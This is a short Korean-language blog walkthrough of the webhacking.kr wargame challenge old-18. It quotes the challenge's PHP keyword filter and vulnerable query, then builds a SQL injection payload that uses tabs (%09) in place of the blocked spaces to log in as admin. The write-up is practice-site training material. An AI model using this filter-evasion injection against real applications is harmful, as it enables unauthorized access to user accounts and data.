bento 2023. 11. 21. 22:59

webhacking.kr

old-18

 

https://webhacking.kr/challenge/web-32/

 

Challenge 18

 

webhacking.kr

  if(preg_match("/ |\\/|\\(|\\)|\\||&|select|from|0x/i",$_GET['no'])) exit("no hack");

 

공백, /, (, ), |, select, from, 0x, 을 필터링 하는 것을 확인 가능

 

mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2

우리는 admin으로 id를 바꿔야 하는데 구문에선 guest로 정해져 있으므로 이걸 우회시켜야 한다

admin은 2라고 알려준다

 

select id from chall18 where id='guest' and no=**2 or no=2**

guest 부분은 거짓으로, or 뒷 부분은 우리가 원하는 2을 넣어줘서 무조건 참으로 admin 이게 만든다

 

2 or no=2 을 칸에 넣어주게 되면 앞에서 봤던 필터링에 걸리게 된다

GET방식을 사용하고 있으니 우리가 직접 바로 url에 넣어보기로 한다

 

url에 넣어주기 위해 공백을 %09로 바꿔준다(tab)

?no=2%09or%09no=2

728x90